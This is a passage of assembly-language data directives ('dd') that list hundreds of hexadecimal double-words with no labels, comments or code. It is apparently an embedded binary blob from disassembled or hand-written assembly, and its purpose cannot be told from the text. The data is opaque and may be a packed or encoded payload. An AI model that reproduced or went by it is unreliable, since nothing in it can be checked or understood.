9579A6B8h, 55148A00h, 0F97AF6Dh, 108B03BFh, 0C7049CEh dd 7EFA8ED0h, 5046D300h, 56C63D80h, 19F28Bh, 9E1B99EFh dd 445E6C62h, 6BF8707Bh, 0E2E4827Ah, 59FC5D14h, 0B739000Ch dd 8993A1C6h, 0C878607Dh, 0FE0C6222h, 6D8DA603h, 795166h dd 12BF25E1h, 0D98A417Ah, 3D6E5548h, 15B30675h, 0C409D74h dd 71CD0F60h, 70E0A0B8h, 41804030h, 0E96204B3h, 406B289Eh dd 0FE8AEED8h, 0A411A8E1h, 0E0B8123h, 0A10043D7h, 9865E482h dd 72A31100h, 57C96B2Fh, 0E74251FAh, 789CFE30h, 6F310041h dd 7A542D89h, 0DA02E82Eh, 7BDFAF88h, 77F0414Eh, 2DD470h dd 0AA207283h, 1DCFFC1Ah, 6EDCAE06h, 4208AB30h, 1AA0EE2Fh dd 0A407A0C8h, 932B9D76h, 0AEDEB4C0h, 598E1ED7h, 1C31804Fh dd 0AA0D2817h, 8038D900h, 0B7CF1804h, 13A303A2h, 1993598Fh dd 92DA2908h, 0D8DC0FABh, 4A92110h, 0A30FD27h, 0C8142857h dd 0B1451814h, 0C2FFAB79h, 0BE422E29h, 84388407h, 0AD88034h dd 470828BFh, 86D09003h, 5029E48Dh, 622B28C3h, 0E1ECA189h dd 796D3A27h, 10C986CFh, 11A9F611h, 0CC19E218h, 105B51B1h dd 99AA37h, 9D6CE7C0h, 817F35E5h, 7503CBB0h, 0A930DE3Ah dd 250BE88Ch, 851500E8h, 0CC668790h, 503EE64Bh, 55910E64h dd 0BF05D3CBh, 98C01E6Ch, 3235D8h, 9D643CCDh, 0BBB81C4Bh dd 5D96B00h, 0FF14E2Bh, 83110340h, 631928ABh, 778F47D0h dd 3700D076h, 0B9B18774h, 70188Dh, 58F19484h, 0A36A1EF2h dd 0AD372C12h, 0B3F40000h, 3DEF313Fh, 0BF03F959h, 0C8726DE6h dd 437BD6D8h, 0D4003A78h, 6C039CCCh, 0E47021F9h, 0A7D21EEEh dd 0A3940261h, 5468F13Bh, 350EB4C3h, 0C08A894Ah, 6507BBC6h dd 345E3047h, 38FF5510h, 80565300h, 0F723BAC7h, 18CB6084h dd 0B24ECF8Dh, 0EFC41101h, 0A8D49C3Bh, 0CE5A80E3h, 72BC3929h dd 0FB45DE80h, 1454A1E3h, 2D348300h, 55060C6h, 213900C3h dd 407CF13Ah, 0F6005F72h, 0E5E109A2h, 0B8F2A4h, 0D332344Fh dd 0C5493F26h, 66CB58h, 8EDC5FD4h, 8133D0h, 5EC975DBh dd 9C15C87Bh, 2707B807h, 0C4DE3DB3h, 0F4C099E9h, 1D24081Ch dd 0C02D0602h, 5B7130ECh, 3200128Eh, 0B19EB46h, 3C18B35h dd 870FC601h, 0D5F081F1h, 3A07B3FFh, 61A4D65Eh, 502D1830h dd 0A02800ACh, 80887D0Dh, 6439B474h, 61FD8347h, 0B86BBEF6h dd 149019D4h, 0CCE4E3ABh, 6289AC0Fh, 1EF75340h, 0C6009970h dd 7466200Ah, 0EC93A36Bh, 1C4B81C4h, 1C780033h, 1A93E69Fh dd 0A46F6DB8h, 0C3403FEAh, 61449242h, 45500C0h, 5A17BCFDh dd 0F5007FD8h, 0BE814B14h, 3FF2A35h, 0B2D76A6Eh, 0B0F8C79Ah dd 0B001539h, 584464E8h, 387CF516h, 3400C1CCh, 0A3F73295h dd 67FA429Ch, 0C7EE9200h, 5620BA93h, 2DF00474h, 809196C0h dd 71E5686Ch, 0D7186500h, 1F46A4E1h, 3C89F4F2h, 8E9259D8h dd 702F00B0h, 0C2913D3Eh, 0C1413400h, 0EF95BC3h, 0F752FA24h dd 5B1247D4h, 50110078h, 9284CC18h, 25935313h, 647E7800h dd 7874BCh, 7D3DC806h, 61C7DF5Fh, 427B0A00h, 0CB19719Ah dd 65430310h, 89DE1520h, 368BA698h, 3DA91D5Ch, 6047870Fh dd 0FC9037C5h, 70E405h, 53C287D6h, 2A01F629h, 0ABE822Eh dd 5FA56100h, 2808DE20h, 0D4DAE2h, 60E315CDh, 711787A3h dd 96E6F503h, 0A863CEE1h, 1A70627h, 6F4F8204h, 0C8386DE5h dd 0FE38956Ch, 0B12E000Bh, 995D2135h, 0AD8C0089h, 0FA0A963Bh dd 5E00A0C9h, 0A23C4352h, 1092B5h, 9F77C1A6h, 0E3F63E4Ah dd 32D1A300h, 6591AEABh, 71E5B809h, 2BC30FA0h, 5361B34Dh dd 0C41EAF70h, 48000155h, 0C6B90973h, 0FEA9F41Bh, 78EC00FDh dd 0B591119Bh, 0D87FC369h, 5C42101h, 85F11B80h, 1038C0FAh dd 64EA0Fh, 29DB1F71h, 6AD944A9h, 8E1C6600h, 0BA1A0EDFh dd 0B4954CF8h, 77BD9B00h, 3B02AE5Dh, 0E7D52900h, 23C38010h dd 1CBE4C60h, 0BD3C6F03h, 61F0547Dh, 5090360Bh, 920F83Fh dd 0AC6F5548h, 28FE38h, 0A8D98FE1h, 2FE7F8A1h, 1AFD5809h dd 0F180016Eh, 4DDC9252h, 3A490019h, 0F3F02A5Ah, 0B9E4BD6Bh dd 0DD6A0A00h, 0D8AF024Fh, 7E84007Ah, 0F1219ED9h, 609539E2h dd 78198h, 3BF05FCBh, 61A34DC4h, 0F1AB8800h, 47BCDF82h dd 3778001Ah, 795F656h, 130014AEh, 90E8B77h, 3D04C7Dh dd 0F03CC6E5h, 0F8811B89h, 0DD3FE090h, 0FD23C200h, 68B8C32Ah dd 82ED4817h, 26FA6D00h, 8D934729h, 645A4C00h, 5785E77Ah dd 0EED200D1h, 0F299153Fh, 607FE243h, 0D5500C00h, 2A2B7716h dd 3993006Dh, 0FF7F6EDFh, 0D3042D20h, 1659B4E7h, 0F58DF480h dd 55D93EEBh, 26236280h, 1584EE87h, 0A3795302h, 4066FDDCh dd 0DA4E6h, 6338EFA9h, 979D8FA6h, 0D8A8EB01h, 3D1A4ADDh dd 4EA54E4h, 0D77B011Ch, 0D08C01Fh, 2700F7B9h, 73EF91BCh dd 0E4E9C7h, 6DBBDF36h, 4A8723Ch, 0A75A2E01h, 0C2D69B39h dd 7AC097CDh, 3EEF0020h, 1119436Ch, 88017C74h, 8E025607h dd 76E4510Ch, 7577D3Eh, 5092AAEh, 909CF74Ah, 2B348B5h dd 55FD9D1Fh, 0F17700FEh, 7C547F12h, 0EC3B1DA6h, 0E8F881B5h dd 0C845F0E5h, 7603DBD8h, 688BD911h, 3B9F092h, 1489013Ch dd 7934BA28h, 1BD0DC5Ch, 0FB9F361Dh, 0E5D14900h, 75312Ch dd 0B3168F14h, 0CD576CBBh, 17F17B00h, 1FA1F9B4h, 340E1F9Fh dd 89210F19h, 1BF8B0C0h, 0BC00E66Ch, 2EB6CB7Fh, 0E4D5A20h dd 80D1F63Bh, 0E87158C1h, 0BDAAC05Bh, 5E777400h, 0A575B43Dh dd 0ABE50F24h, 0A8629258h, 70C0D501h, 7D3C9673h, 9E4E9EE0h dd 0FE3EB2C0h, 1923A9h, 60E17739h, 8A3A08FFh, 331E8F00h dd 0DB55986Dh, 71C016Bh, 4CE06473h, 0DDCBC406h, 826F2500h dd 3E875FCDh, 0D78C0E7Ah dd 0E5808DACh, 9ABEB20Ah, 0C9D9F800h, 9DCC764h, 0E38900A8h dd 0EB95650h, 6F008E88h, 78E714C8h, 39AEDEACh, 0D6834367h dd 8F6333A2h, 0CDF100BDh, 0BCB8D298h, 60C7C900h, 0C8847D0Ch dd 0A051585Fh, 0DDE25D00h, 13659C62h, 0F301AFFEh, 3AE7CD3Bh dd 80F32CBDh, 4D6CCAh, 0BCA2E230h, 8B23D0FEh, 7E090300h dd 52E999D2h, 0B353002Ch, 0D80BD7E2h, 0F9012F8Ah, 0ED329C59h dd 4EC03C68h, 0F0B70003h, 0DDB6A8DAh, 0DC00E751h, 95B58140h dd 0F7D114h, 0E0069B1Ah, 6175E96Ah, 31D70500h, 4AA3B397h dd 0B42F0003h, 0A5BE9B20h, 7C000FEDh, 0E8F50860h, 7928Fh dd 82F0A02Ah, 12402D9Ah, 5C00F4E6h, 4DC8762Bh, 2505Dh dd 0D514CC84h, 0F1A47BC1h, 76489100h, 4617975Fh, 85C7013Bh dd 0E007D724h, 56A4D842h, 0FC0077E4h, 0E5531870h, 0FED2482Fh dd 0E13900B7h, 57BD03EBh, 0AF001095h, 6AA4F7ABh, 0DF843Dh dd 83050418h, 67736CC8h, 0B8D7D11Fh, 0C2C9A280h, 0E04898FBh dd 9EA000A7h, 2D456FD9h, 56004067h, 8C5C389Fh, 0CA994Bh dd 2C3F39A4h, 0D9F4B3DAh, 2E020C01h, 0E77B1DE5h, 30FC63ECh dd 324C2482h, 5E008A4Ch, 6C6E3EB8h, 947B43Ch, 0EB24A246h dd 83FBEE00h, 940039BBh, 0D701F8ADh, 1ED83B22h, 80BC8E25h dd 995E9226h, 0EA380F0Ah, 0DD60317h, 0B869CCE0h, 0EECD35C9h dd 7EF80084h, 1ED536B1h, 68005306h, 177723EAh, 66141Dh dd 0DF95CC10h, 1B4896ADh, 8C035C00h, 0E8C37506h, 69CD30ABh dd 83514052h, 0DB96BC02h, 402FD6FCh, 24D71A0h, 7F14E69Bh dd 0C0808F45h, 96F7FD5Fh, 6F2F1C01h, 368041BBh, 1EC2C8E4h dd 4019F885h, 51788E3Eh, 3200D970h, 0D2123C0Bh, 0E1B6E96h dd 4B6A5C14h, 62920120h, 1D03BA72h, 0AABDA38h, 80D000FDh dd 0C5484561h, 8D0026C3h, 38321117h, 3EE777h, 0D26E5443h dd 94ACB220h, 0D418C100h, 0B55D5B10h, 55A31F59h, 0DCC040AAh dd 52C52363h, 5403AB7Eh, 14E383Ch, 3281D079h, 8B570FFAh dd 0FCEF05FDh, 3B1AC01Eh, 71ED7DB6h, 5010AE48h, 0A7004C3Dh dd 48CA1DBBh, 1D21A0CDh, 87511765h, 71FB12C4h, 0D8727FAEh dd 8D003E45h, 0D8BF73D9h, 1EF85E8Eh, 9F3660Dh, 0E3801AFFh dd 7AFAFBD3h, 1D001BE0h, 1F079163h, 1D4E15E4h, 0DA7F34h dd 8CC0E75Dh, 3C3A8ECCh, 2E758D7h, 10B1908Fh, 3719E0E0h dd 41320348h, 7F827697h, 72DCC2E8h, 193DD309h, 15CD80FEh dd 0C0AD96h, 7121B554h, 0DAC673F2h, 75C5BD00h, 325E4022h dd 0D99300EEh, 113B6977h, 7000F8FAh, 29DF5920h, 0B48213h dd 0A69C128Eh, 0F23C462Fh, 71F1E900h, 623A4AEFh, 1FDEE88Bh dd 0DDC5F507h, 328F8015h, 0F724E490h, 9BC07D00h, 85E60E1Ch dd 0FDCC00BEh, 686A3E46h, 9A3E1466h, 2C868078h, 417DE2FEh dd 9F2A1E8Ah, 0E5DB0BDEh, 66BE5880h, 403B781h, 2A0CE812h dd 7FB4A006h, 0F1620080h, 259C9941h, 2D03D961h, 0B6FCBE9Fh dd 8B9A88EBh, 8A220091h, 57279D08h, 7001BCFBh, 2DB46ED5h dd 0ACC811CDh, 0CBB80040h, 0E74BA779h, 59007FB5h, 6651F5EEh dd 58FB9h, 3806752h, 0FB640EAh, 79683358h, 0E41F6078h dd 0B940CD26h, 52413A0Ch, 4B1900AEh, 0D3B37F47h, 56014436h dd 8968150h, 78605514h, 1C4F7065h, 34780Ah, 246AF4E0h dd 22011B57h, 0DA4B0D1Dh, 72E4F866h, 0E552004Eh, 0D764308Fh dd 0B53ADFDCh, 2CF2963Fh, 1EA4001h, 23CC04A6h, 0E8310741h dd 375A30Eh, 0FC005E4h, 700AD60h, 8B3B924Dh, 0FFBD59h dd 35368F4Ch, 8CBE94F4h, 4B001AF0h, 5B772C58h, 37B7D89h dd 1C7628F0h, 79C3EE71h, 0C853F01Fh, 6B8F3D87h, 1B7E5880h dd 18F4F6h, 2949A8BDh, 0CC4062A1h, 58AC7100h, 0A118BF9h dd 1BC0667h, 20EBB726h, 0FB00E1E6h, 0DF4D83E4h, 5BDD609h dd 6353E546h, 5CB4008Eh, 0D33A296Ch, 7F4953Ch, 0AF1CCE32h dd 90DB17E1h, 0DDD09DF5h, 64270068h, 67CDB473h, 0AB28E1E0h dd 0F303E4BCh, 0E341C4D2h, 0B21000EEh, 63B371B4h, 5B006740h dd 762D311h, 7A892948h, 9EE3074h, 4B258EE9h, 114FA600h dd 7E787AB1h, 0F2A526B2h, 34E205ECh, 0B6BC000Fh, 6B6FDEE6h dd 32D4AE00h, 15C97026h, 0B2A400ACh, 8CFA9C7Ch, 6E0CA134h dd 0C09811A7h, 0E56200BCh, 0F5DC0726h, 7375B5CBh, 0DB00A4F0h dd 6DD6CC0Ch, 0F8B33852h, 0FF900042h, 34B259F7h, 0BA008F40h dd 3794EB8Ch, 1CECBD66h, 80D3D8D6h, 0EEEAA549h, 7EE83231h dd 8EE2E339h, 0A0C47134h, 61DB9CC7h, 6EFE625h, 377ACBF8h dd 7800904Fh, 2A311AD3h, 0EAB81B35h, 8AACA0E1h, 0F85C001Eh dd 4F7589DCh, 7E506BEFh, 1D002C90h, 60D2F74h, 0EB38EDh dd 0CCC9CA27h, 377BF0CFh, 0C41148h, 7AA98F0Eh, 7238E4F8h dd 2D6117E8h, 545A0063h, 991E9620h, 37BE1B00h, 0C707E031h dd 97E8001Fh, 0F90B67AFh, 7805148Ah, 0B12FA717h, 3A3EE400h dd 7BDECC71h, 90836119h, 0DC0EF35Eh, 0D92EA124h, 0F600D542h dd 60453623h, 651B013Bh, 2F19E0E4h, 0CC3021D4h, 1C00472Ch dd 0D6E8D56Dh, 0E8F24335h, 455F005Ch, 0C4D9FDA2h, 33007A20h dd 679E5359h, 24499FBAh, 0F01A2Ah, 17B0CF79h, 1FE87B5Bh dd 0F5238F00h, 8B3FCCC3h, 17490F7h, 9FC7BB92h, 0E0BC8C43h dd 0AF00AEC4h, 0E20BAC60h, 36545Fh, 0F1EEF2D6h, 918ABDFAh dd 15433900h, 0CA179819h, 0F3C5039Ch, 3FEFFDD6h, 0A49059C8h dd 0F69D0D00h, 0D339B619h, 5AE800F3h, 100942FAh, 9B203EFCh dd 0B3DF0723h, 21EDDB6Ch, 40A96A13h, 0A642F1F8h, 7C5520F5h dd 3E9BDD3Dh, 49F007EEh, 8D05E1Ah, 0A0E6AC70h, 0B4616B8h dd 0F5279214h, 812E7C01h, 8BAC403Fh, 0D01397F4h, 884187CAh dd 56F8D17Dh, 36283C8h, 2B7E8689h, 4BE33DC7h, 7551CA0h dd 32031100h, 6281B1A3h, 0B42F5C68h, 7F0AE900h, 7C379A7Eh dd 2E0C9600h, 0EC8A0649h, 561507AFh, 0E0394D27h, 19C033A7h dd 0D7C6C700h, 98126D9Eh, 0D19A05B4h, 0C1FF7BD0h, 0F80B0F86h dd 400021E0h, 35C7EF1Ch, 0DC6C58h, 703BFA7Ah, 9EE4EC64h dd 62890800h, 0F5FD1A8Fh, 0C7F20Dh, 0EFC4C531h, 903CC315h dd 5CBED300h, 954F7A4Ah, 2EA77048h, 2C6C4E23h, 164D007Eh dd 9D0C7794h, 671FFB00h, 0D51BCD89h, 5B9E3865h, 91D0EA00h dd 70BBF9F7h, 5E107D60h, 70DC1B0h, 0D537226Ah, 827C1052h dd 0EE000F80h, 0B247E6CDh, 0ADA8E2h, 3C486645h, 0F6FE02B1h dd 9E365800h, 82788F8Dh, 332107ACh, 10D72A89h, 0B9DE1786h dd 0D2F1ED0Fh, 0DD1680D4h, 0D8E07Ah, 0C883D6D5h, 0A46049EBh dd 600C7E4h, 71FC530Dh, 285B97h, 1D565809h, 0BAB283BFh dd 0AF16570Fh, 8F18002Bh, 3FA0E5h, 2698C547h, 4BCA28B1h dd 0FDF087ECh, 93D06D00h, 0BCC4B6D6h, 0E58E0E26h, 152F88C2h dd 726A68A0h, 860A1E5Bh, 0C023364Dh, 0B8789000h, 0D710BAh dd 691BE4A8h, 970280DEh, 0C7858701h, 0D24CBEEAh, 0E992F0h dd 569C01C9h, 12880C1Fh, 0CE758D1Dh, 6839581h, 7EF03C70h dd 0ED9201C6h, 97498717h, 2AC0C751h, 3601FA01h, 5C2F9E18h dd 80E67DBCh, 6D02939Ch, 0AE9D2682h, 6A198013h, 2449C76Eh dd 21D87250h, 0ACEB5000h, 1135CE93h, 515F0037h, 0BA58A69Fh dd 632CA8A0h, 571C9C4Ch, 5E16D840h, 0F8089Dh, 0B13994CCh dd 0C3801EE6h, 56FBCF00h, 0BD21E5A0h, 9CE6C6h, 0A4FE9D20h dd 10A636F8h, 0A2441F2h dd 0F10F7BA3h, 3D44000Ch, 0EA5D7905h, 9A683FC0h, 67786900h dd 35E16490h, 0CEEDBB00h, 0A5BCF18Ah, 74D90033h, 969B78D6h dd 5800D78Fh, 0DF187E97h, 533210h, 0F614E46h, 1644E764h dd 8031E90h, 41B6565Dh, 46C4D855h, 279E026h, 9BE6DF61h dd 1540BB5Eh, 4B00C6FFh, 1877637Ah, 5C7591h, 3814943Fh dd 4DCE421Eh, 813ED900h, 0C1F36AA9h, 9899032Ch, 9BD838E5h dd 0B217BA8h, 58436107h, 27B08922h, 0A8AD5B8h, 8869C887h dd 62C84E0h, 0CCD48090h, 0CB8120Fh, 5CA9A200h, 36660EC9h dd 0DAA50032h, 0E10F145Bh, 131EFF27h, 9443B64Dh, 0D04EEF6Eh dd 1F69B92Ch, 87C4F78Eh, 8024330Ah, 652597D9h, 0DB07B17Eh dd 0F7E3FEC2h, 0EE9CF5A0h, 30B248CCh, 0EB287B01h, 0D896DEC9h dd 38F48A8Bh, 0B12CFF02h, 80FC1984h, 20883A9Ch, 2E70072h dd 0CBC5FD9Ah, 1D1D6D79h, 529E1164h, 0F94A0840h, 29585Ch dd 8F4D6555h, 786AA18Bh, 0C109C7FAh, 283282h, 0F838AC8Ch dd 0AD8D0058h, 0C3A5767Ah, 940001F7h, 0D84BFDA8h, 9BD93Dh dd 0B3E93A81h, 0F06C971Ah, 87265D71h, 6F04DE14h, 0EA8050EDh dd 48985C13h, 0F13E1CBDh, 58756591h, 0ADE70E43h, 482960B0h dd 2E96340h, 0B28A8ED0h, 0DAE0255Dh, 69009044h, 4D4271E7h dd 1C4B875Eh, 9565E0CEh, 4C0308A2h, 9580C1C0h, 9E7EEFF8h dd 0D74FC904h, 8C8083BDh, 0EE149AB1h, 0B5A600FEh, 0B6232EF3h dd 60C17E29h, 602673C9h, 0CC2005D1h, 401C99FFh, 3135732Eh dd 0C57BE00h, 8CF1E26Dh, 0C2FA2E79h, 78D0008Eh, 0C4F215B0h dd 388E9100h, 115DE5C5h, 49CE005Fh, 3E41B56Ah, 0DC05A87Bh dd 0EE0D0730h, 0B3731080h, 4362308Bh, 8F9F5211h, 9CF07107h dd 76A1CF7Bh, 98802F27h, 8A720B9Eh, 0D70060F6h, 0FF4FDE42h dd 98214A01h, 7F1D0708h, 0A0A57546h, 5F0F17DBh, 3F412E00h dd 0CA964516h, 653E01A3h, 66ED0B08h, 6051C754h, 33F200ACh dd 88900239h, 6407A531h, 63C20B4Eh, 483FA828h, 7FEF00E2h dd 9121CCEDh, 0D800287Dh, 9350127Ah, 2D3922h, 251034B1h dd 77F43B6Bh, 7E019617h, 0BEF24300h, 285B0C7Ah, 7BC982Ch dd 0E01FDF2Eh, 2EA5023h, 9F077819h, 0B8A25885h, 6B6ED5C0h dd 0DEF8E7h, 0C01F6093h, 8A8691C9h, 59859013h, 9EAEFC05h dd 0AD9AC0BBh, 5807D82Dh, 15E0FA57h, 1E9A6A50h, 0D57102C6h dd 0F466E4CDh, 1BEBD160h, 0A151D100h, 0D6C1A67h, 422F3952h dd 46D0769Fh, 0F879BA32h, 6F912400h, 81741584h, 504F00CFh dd 531CD56Eh, 2203F38Ch, 9B77092h, 0B89F83B8h, 3844F53Ch dd 170F4A3h, 49F8EF8Dh, 0FCA1ABA6h, 3B011BC1h, 4E399A6Bh dd 65EC6784h, 12B7F62Ah, 5D793550h, 37578990h, 0C198B48Ah dd 94B710ABh, 0CD8998h, 534F381Dh, 0E2D987E6h, 1CCF010Fh dd 4A3086FAh, 0FFFB7024h, 0EA015090h, 28A81062h, 2E303F18h dd 0D91D035Dh, 0B68F29C0h, 8341ECA0h, 6764E207h, 0F022CEC1h dd 153C4037h, 0DF9C0055h, 8E84B204h, 0B00017CCh, 3AAFA7FFh dd 120122EFh, 405B7718h, 38EE044h, 24000E68h, 0D58A7A0Ch dd 7B34078Fh, 0B8210095h, 0E8E3404Ah, 3304F38Bh, 30C6380Ch dd 26D28080h, 0A8A6000Fh, 92285DB9h, 3A00FB15h, 5E878E14h dd 5B1A4Bh, 0DB6F7616h, 79C977D7h, 0ECC66900h, 0E897264Fh dd 28420224h, 8C360262h, 19489C40h, 9FBCC600h, 0F7583FE4h dd 80DD011Eh, 0FCFAFEE6h, 5FAC2027h, 0DB89C713h, 52AAC041h dd 58706EECh, 317203E5h, 385E4FDAh, 4126A5D0h, 0F36FD800h dd 328D4313h, 0D59F008Eh, 0DFD42898h, 0D4A89721h, 0E6014F4Ch dd 9C4A7E68h, 74306DF4h, 6F3400CCh, 80378CDAh, 0E5091BEh dd 0CA00AECCh, 1087968Bh, 0FAD849h, 68528A9Eh, 3839B0C8h dd 2000D673h, 8CAE7C01h, 78A1BDE2h, 0C92105BFh, 7E53E9h dd 0C0ED1FF4h, 34E02D35h, 84721228h, 6590800h, 9F15A891h dd 0CEEC0097h, 5BD1AE52h, 0B010275h, 4CD5E9B7h, 0EEE8C88Ah dd 0B44900C1h, 9987E520h, 0D474A0EFh, 86EAA407h, 0AE40809Ah dd 75037AB7h, 0AC130F78h, 34401E2Fh, 64FB9958h, 16CAF23Bh dd 7500915Ch, 0D3C9652Ch, 0E5613B27h, 1B1F9A38h, 0C7F84003h dd 1C76DDCFh, 0B0B74230h, 1524A7CAh, 9C89214Fh, 9FD5931Eh dd 16B870BFh, 0F53EB4D8h, 0A2ED9F18h, 1B696200h, 39ABAD2Eh dd 5E89289Dh, 9CA08575h, 356FA477h, 6C100E18h, 0E62A2850h dd 0EA50003Ch, 124D1AAh, 8000CF08h, 360DB448h, 0ED1B70h dd 40206557h, 7241AB12h, 0A9C44D1Dh, 0B2FE9F40h, 58E8BF15h dd 180074CAh, 0C5915943h, 90281CB6h, 0B00FC4C6h, 8088FA87h dd 0D0206BD5h, 16EB0F6Dh, 42C37368h, 11C09B59h, 0DD05A5F9h dd 0AD8A8503h, 0F659C09h, 0D7B9A13Fh, 3BEC3044h, 0F1B012CDh dd 0C9BC83D2h, 0B8DE6198h, 60D49400h, 0FDCE967Ch, 65360035h dd 12C17087h, 0A50EB482h, 20C8760Ch, 58376FD2h, 83C300BFh dd 0C232DA2Eh, 0F83D8F0Dh, 0F3E5802Dh, 33AE59B6h, 3D5F24E1h dd 1ADB0092h, 3E92882Ah, 0C01CD398h, 0AC8140D4h, 8B51598Ah dd 354F8h, 0EA6EDDBEh, 6B1D4F52h, 0A4E8990Bh, 0CF900E68h dd 3D36870Eh, 1E1D390h, 0CC84003Ch, 0FCF89C89h, 0A2001E8Ch dd 0CD258DB2h, 19475A7h, 959BEFECh, 0F8D18B70h, 47007B80h dd 0ABBCB137h, 251FB6h, 4AA19AD9h, 0C56E13CCh, 0A63A3D7Dh dd 7FD28384h, 0D82ABAC7h, 1D37756h, 0B47310CCh, 0E41B8718h dd 30311E2h, 0DFFB3759h, 78089030h, 0FF1C00F9h, 397FFCAFh dd 0B2012647h, 2B28727Eh, 7F2061A0h, 8B4A00C6h, 8ADEC26Bh dd 0D41793A9h, 640B5DAFh, 23E0811Fh, 12D00497h, 8720C090h dd 8A9F0CAEh, 45E41A03h, 0E1ACEF60h, 3230862Fh, 0F37FB0h dd 6C76B1EAh, 59F878BCh, 632D1312h, 2469800Eh, 6090143Ch dd 8E962Ch, 2592FB94h, 1964B35Eh, 21F8E400h, 52B0909Ch dd 2FB53ACBh, 918B0200h, 0D15A8611h, 1D5FB703h, 9ABC466Dh dd 558CE1DEh, 143029DDh, 0A0E51FF8h, 6B42454h, 0B83DE189h dd 20743909h, 0E298992Fh, 0CD57AD10h, 6ED13804h, 148719D8h dd 0D99C6B40h, 1B1F840h, 709A928Bh, 0E681D7CBh, 3235C9C0h dd 0CA9A202h, 0C02C1F0Eh, 82E0440h, 36E1B219h, 0E9CE3000h dd 260B79B9h, 3946111h, 0CA86170Ah, 41B09193h, 0CD043213h dd 8DEC02D6h, 36ACE0h, 12A59DA9h, 87D21303h, 9C9A333Bh dd 880B267h, 0A917CE22h, 7B8B4h, 92501134h, 9409FFF6h dd 0E400E49Ah, 0C8413203h, 3BFCC531h, 0F0DC96D9h, 50E913h dd 12637FECh, 44FC6921h, 0BBD3901Ch, 4BE3BD03h, 0F3F1C86Eh dd 57E81h, 28A26F9h, 0BA4CFD79h, 64E88B00h, 0D5318EE9h dd 0B5DC0E22h, 2D80D3C3h, 8776FA38h, 0C4880A00h, 78472142h dd 301F072Ch, 0C05B32EEh, 0A6619A3h, 0FD74C603h, 88187C5Ah dd 1C99428Ah, 802335F9h, 0D7C6279Fh, 0F3980584h, 73F85600h dd 0A0DB4A86h, 0C01E2EAh, 0C7EE136h, 0BD009B28h, 30D39A3Ah dd 1D272562h, 5F1EFD2Dh, 7C50072h, 1463FE2h, 928D6700h dd 2E76DF9Dh, 9AC900EFh, 0AECC290Ah, 9000EA66h, 2AC855A1h dd 1560367h, 0BC48E8ACh, 0CCA397F1h, 8E00C1D3h, 0B95A0D1h dd 25345Fh, 35B416C4h, 7EC6E1D5h, 3C065407h, 0D0F029BDh dd 2232ECh, 2B42A76Bh, 38D7B1E8h, 7B006479h, 32ED241Bh dd 3F829773h, 75008D10h, 25841D80h, 0D3001AC8h, 12F63AABh dd 0F43262h, 4F4505BFh dd 5C9706B7h, 42CAD107h, 19902379h, 1C452CDh, 88892FA2h dd 0F83FD6C2h, 963CEEBDh, 17EF0004h, 578AA341h, 78B700B5h dd 2EF75239h, 1B989777h, 0D45073ECh, 5300AA84h, 88121F96h dd 0FA4DBDEh, 11269DCCh, 0AFB6D100h, 1C39971Ah, 0CF2380BEh dd 614369Bh, 0FC7827h, 1AD38E9Eh, 0B0F12A68h, 0DF059200h dd 0B9B2AC85h, 91D103D0h, 4724B407h, 2F2EDED0h, 0E4C36500h dd 697D6389h, 0C0CA7F4Fh, 6DA08164h, 72008B3Dh, 8406CC5Eh dd 7B56A8E8h, 5CB10E37h, 0CF8BEEAFh, 629D3C00h, 6A0388F1h dd 7C034A22h, 97BFF856h, 0D7E2009Ah, 4B10B680h, 5C240115h dd 48003C4Ch, 0FC3CD35Dh, 4F58006Fh, 4524DF9Fh, 0A100141Ah dd 3A150CFEh, 304CCAC0h, 0A72058B3h, 35EEFFFDh, 9D907E00h dd 0EAD693BBh, 781505CAh, 8348F11Eh, 5CD0A1A9h, 50E04B7Eh dd 1211C500h, 0D7692857h, 0F2810131h, 0E8275A29h, 6D09D489h dd 0D4BD910Ah, 101F864h, 0B1DBF0E3h, 9F661180h, 610EAE94h dd 3C92780h, 1E4B9285h, 75D012D1h, 0EA74B9DDh, 0F7EEBEEEh dd 130A4F00h, 25B5F1FFh, 7A1E78B7h, 0E80D0F3Ah, 5780AD80h dd 6F4A9E6Dh, 5BDBED00h, 912E16DEh, 838E0035h, 773E6EE5h dd 85018B38h, 9D9E5610h, 4160D39Fh, 18E9487Ch, 6FFB8203h dd 0B98279D4h, 75543B60h, 0B805E0F5h, 620987E2h, 65D64Fh dd 8E93B016h, 0E1F0FBDh, 0A7E09A19h, 1120D08Bh, 98FB1A31h dd 18208210h, 59C60571h, 7FC453h, 366BCBD0h, 0EA3A5C62h dd 71A5848Ch, 3C8126DEh, 98FB91A1h, 3D0AEC8Eh, 0F58007EEh dd 0F892A037h, 530927A9h, 0D7EBB0h, 0ED68F7CCh, 0A9B00BDh dd 0DFC50B36h, 0CB00BBD0h, 234213ACh, 62811h, 8AFE7559h dd 7ACAA62Ch, 3641370Fh, 11A54CDCh, 0F3C900D7h, 0C47B9187h dd 3900AE9Ah, 0C650F9E9h, 6319ADh, 9CE3BB54h, 3C4FC1FEh dd 4BCE0600h, 0BF7B5CF1h, 0D2C200B5h, 32273394h, 0F3008609h dd 9011F670h, 1E1AA595h, 40A0768Dh, 0AB2F26F8h, 9B033A4Ch dd 0C5DD35B1h, 0B7B9D8C2h, 3457E86h, 15714028h, 3802F438h dd 0C74A557h, 0EA706118h, 26C01CD4h, 911DFAh, 0F05083A4h dd 8001F27h, 0A79A7975h, 0F03EB0F2h, 87A5070h, 6DD21E30h dd 0F6520690h, 0D90E3125h, 444265D4h, 0D0D0CD27h, 9AC64A4Dh dd 0EE3F00A8h, 166D94ECh, 2F12C8EDh, 0EA0FBAB1h, 818E8FFEh dd 0C55F4E04h, 1C633180h, 0C72F21CCh, 0CF0C5401h, 0CD1E87C6h dd 0B1F070h, 0AE4D40EFh, 6BEAACF2h, 0D7652400h, 7FD3AA2Ah dd 0E29130C9h, 0ECC66D48h, 33BF2B3Ah, 0E97A99CCh, 0BCF0E665h dd 0DCE83929h, 60E261F4h, 0E524DBA8h, 80D917F2h, 0C14E212Ah dd 6BFD30C8h, 76D91C0h, 58A262F4h, 0B5437C10h, 0BCCA60Fh dd 4DCFA2ECh, 0D14805Dh, 5E41B8h, 5C11AE8Eh, 3FD236BAh dd 0A47F0400h, 0E459E39Eh, 84EE0047h, 0BC65E20Bh, 270083B8h dd 0F0F2C7C1h, 0FB6B9D4h, 8119E16Fh, 0F9D0BD80h, 0CF00099Ch dd 0A32D2C4Eh, 0A01BC657h, 9B88DEh, 0D877FA29h, 0C354C87Eh dd 4DEBD100h, 40FE1518h, 833700F2h, 84BDD52Ch, 9E003A6Bh dd 0FB7D73E2h, 0DB32B9h, 0AF64AA8Bh, 515ECA3Bh, 